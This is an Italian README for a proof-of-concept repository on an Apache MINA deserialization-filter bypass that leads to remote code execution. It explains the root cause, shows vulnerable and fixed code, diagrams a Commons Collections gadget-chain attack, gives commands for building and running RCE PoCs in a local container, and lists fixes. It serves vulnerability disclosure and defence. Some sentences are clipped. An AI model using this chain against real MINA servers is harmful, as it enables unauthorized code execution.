
Proof-of-concept che dimostra un bypass del filtro di deserializzazione in Apache MINA che porta all'esecuzione remota di codice, con analisi dettagliata della causa principale, PoC di exploit e indicazioni di rimedio.
CVSS 3.1: 9.8 CRITICO AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-502 Deserializzazione di dati non attendibili
Segnalatore: Venkatraman Kumar, Securin
Avviso: Mailing list Apache
Le versioni di Apache MINA dalla 2.1.0 alla 2.1.11 e dalla 2.2.0 alla 2.2.6 contengono un bypass del filtro di deserializzazione in AbstractIoBuffer.resolveClass(). La lista consentita acceptMatchers — progettata per limitare quali classi Java possono essere deserializzate — viene completamente saltata quando ObjectStreamClass.forClass() restituisce null.
Un attaccante con accesso di rete a un endpoint MINA che utilizza ObjectSerializationCodecFactory può creare un payload di protocollo che bypassa il filtro delle classi, consentendo la tramite catene di gadget standard di deserializzazione Java (ad es., Commons Collections).
Si tratta di una correzione incompleta per CVE-2026-41635. La patch originale è stata applicata al ramo 2.0.x ma non è mai stata portata ai rami 2.1.x o 2.2.x a causa di una svista durante il merge.
| Ramo | Vulnerabile | Corretta |
|---|---|---|
| 2.1.x | 2.1.0 – 2.1.11 | 2.1.12 |
| 2.2.x | 2.2.0 – 2.2.6 | 2.2.7 |
La vulnerabilità si trova in AbstractIoBuffer.resolveClass(), che gestisce la risoluzione delle classi durante la deserializzazione di oggetti Java.
MINA utilizza un protocollo di serializzazione personalizzato con due tipi di descrittori di classe:
Nel codice vulnerabile, il filtro acceptMatchers viene controllato solo nel ramo di tipo 1 (quando forClass() restituisce un valore non nullo). Il ramo di tipo 0 chiama direttamente Class.forName(), bypassando completamente il filtro:
// AbstractIoBuffer.java — VULNERABILE (2.2.6)
protected Class<?> resolveClass(ObjectStreamClass desc) {
Class<?> clazz = desc.forClass();
if (clazz == null) {
// BUG: Nessun controllo acceptMatchers — filtro completamente bypassato
return Class.forName(name, false, classLoader);
} else {
// Il filtro viene applicato solo qui
for (ClassNameMatcher matcher : acceptMatchers) { ... }
}
}
La correzione nella 2.2.7 sposta il controllo del filtro prima del ramo:
// AbstractIoBuffer.java — CORRETTO (2.2.7)
protected Class<?> resolveClass(ObjectStreamClass desc) {
String className = desc.getName();
// Filtro applicato PRIMA, indipendentemente dal risultato di forClass()
if (!acceptMatchers.stream().anyMatch(m -> m.matches(className))) {
throw new ClassNotFoundException("Class not in accept list " + className);
}
Class<?> clazz = desc.forClass();
// ... la risoluzione sicura prosegue
}
Attaccante Server MINA vulnerabile
| |
| 1. Crea un payload MINA con descrittori |
| di tipo 0 per le classi della catena |
| di gadget |
| |
| 2. Invia all'endpoint che utilizza |
| ObjectSerializationCodecFactory -------->|
| |
| 3. readClassDescriptor() legge il tipo 0
| → delega al super (Java standard) |
| |
| 4. resolveClass() vede forClass()==null
| → Class.forName() SENZA filtro |
| |
| 5. La catena di gadget viene |
| completamente deserializzata |
| → readObject() attiva la catena |
| → Runtime.exec() viene eseguito |
| |
| RCE OTTENUTA |
IoBuffer.getObject() o ObjectSerializationCodecFactoryaccept() configurato (le applicazioni senza filtro erano già sfruttabili tramite CVE-2026-41635)L'attaccante controlla il flusso di byte serializzato. Utilizzando descrittori di classe di tipo 0 (invece del tipo 1) per le classi Serializable della catena di gadget, ogni classe nel grafo di deserializzazione bypassa il filtro acceptMatchers, indipendentemente dalla configurazione della lista consentita dell'applicazione.
Tre PoC dimostrano un impatto crescente:
| PoC | Cosa dimostra |
|---|---|
FilterBypassPoC.java | Bypass del filtro per primitivi, classi non-Serializable, array |
CraftedBypassPoC.java | Payload di tipo 0 creati dall'attaccante bypassano il filtro per QUALSIASI classe Serializable |
RcePoC.java | RCE completa tramite la catena di gadget CC6 attraverso il bypass del filtro |
Le classi non presenti nella lista consentita vengono deserializzate senza restrizioni:

Un attaccante crea payload di protocollo MINA con descrittori di tipo 0 per caricare qualsiasi classe oltre una lista consentita di soli String:

La catena di gadget variante CC6 (HashSet → TiedMapEntry → LazyMap → ChainedTransformer → Runtime.exec()) ottiene l'esecuzione di comandi attraverso il bypass del filtro:

Gli stessi test vengono bloccati sulla versione corretta:

La catena di gadget viene respinta dal filtro:

Il modo più veloce per testare — nessun JDK o Maven richiesto:
# Clona questo repository
git clone https://github.com/dinosn/CVE-2026-42779.git
cd CVE-2026-42779
# Compila ed esegui tutti i PoC
docker build -t cve-2026-42779 .
docker run --rm cve-2026-42779
# Esegui singoli PoC
docker run --rm cve-2026-42779 bypass # Solo bypass del filtro
docker run --rm cve-2026-42779 crafted # Bypass del payload creato
docker run --rm cve-2026-42779 rce # RCE completa
# Accedi a una shell per esplorare
docker run --rm -it cve-2026-42779 shell
L'immagine include il JAR vulnerabile di MINA 2.2.6, Commons Collections 3.2.2 e tutti e tre i PoC pre-compilati. Tutto viene eseguito in modo autonomo all'interno del contenitore.
Se preferisci compilare dal sorgente:
# Clona e compila la versione vulnerabile
git clone https://github.com/apache/mina.git /tmp/apache-mina
cd /tmp/apache-mina
git checkout 2.2.6
mvn install -pl mina-core -DskipTests -q
# Scarica commons-collections (per il PoC RCE)
curl -sL "https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.2/commons-collections-3.2.2.jar" \
-o commons-collections-3.2.2.jar
# Compila i PoC
javac -cp mina-core/target/mina-core-2.2.6.jar FilterBypassPoC.java
javac -cp mina-core/target/mina-core-2.2.6.jar CraftedBypassPoC.java
javac -cp mina-core/target/mina-core-2.2.6.jar:commons-collections-3.2.2.jar RcePoC.java
# Esegui il PoC di bypass del filtro
java -cp .:mina-core/target/mina-core-2.2.6.jar FilterBypassPoC
# Esegui il PoC del payload creato
java -cp .:mina-core/target/mina-core-2.2.6.jar CraftedBypassPoC
# Esegui il PoC RCE completo
java -Dorg.apache.commons.collections.enableUnsafeSerialization=true \
--add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-cp .:mina-core/target/mina-core-2.2.6.jar:commons-collections-3.2.2.jar \
RcePoC
Oppure usa il Makefile incluso:
make run-all # Compila ed esegui tutti e tre i PoC
make run-rce # Solo il PoC RCE
Requisiti: JDK 11+ e Maven (per la compilazione dal sorgente) oppure Docker (per il contenitore)
Aggiorna ad Apache MINA 2.1.12 o 2.2.7.
Se l'aggiornamento non è immediatamente possibile:
IoBuffer.getObject() o ObjectSerializationCodecFactory con input non attendibili| Data | Evento |
|---|---|
| 2026-05-01 | Avviso pubblicato dal PMC di Apache MINA |
| 2026-05-01 | Rilasciate le versioni corrette 2.1.12 e 2.2.7 |
| 2026-05-02 | Questo PoC sviluppato e testato |
Questa prova di concetto è fornita esclusivamente per ricerca di sicurezza difensiva, istruzione e test di penetrazione autorizzati. Utilizzala in modo responsabile e solo contro sistemi su cui hai il permesso di testare.